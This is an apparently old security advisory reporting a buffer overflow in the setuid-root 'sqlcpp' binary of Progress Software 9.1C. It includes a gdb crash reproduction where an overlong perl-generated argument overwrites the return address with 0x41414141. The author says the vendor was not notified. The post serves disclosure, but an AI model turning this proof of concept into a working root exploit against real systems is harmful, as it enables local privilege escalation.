Progress Software suid overflows again.

[KF <dotslash () snosoft com>]

Yet another b0f in progress software due to p_stcopy()

Progress Software corp. http://www.progress.com STILL can't seem to 
validate user input... this is in their latest patch level for Progress 
9.1C

91C09.tar.Z

[root@localhost bin]# cat ../version
echo PROGRESS PATCH Version 9.1C09 as of February 26, 2002

[root@localhost bin]# ls -al sqlcpp
-rwsrwxr-x    1 root     root      2222278 Feb 26 08:17 sqlcpp

[root@localhost bin]# gdb -q ./sqlcpp
(gdb) r  `perl -e 'print "A" x 9000'`
Starting program: /usr/dlc/bin/./sqlcpp `perl -e 'print "A" x 9000'`

Program received signal SIGSEGV, Segmentation fault.
0x081f5670 in p_stcopy () at eval.c:41
41      eval.c: No such file or directory.
       in eval.c
(gdb) bt
#0  0x081f5670 in p_stcopy () at eval.c:41
#1  0x080b03a0 in sqlppgdst () at eval.c:41
#2  0x41414141 in ?? ()
Cannot access memory at address 0x41414141

Progress was NOT notified due to the number of times I have tryed to 
tell them how to fix their software.... I have ran out of fingers and 
toes to count Progress holes on.

-KF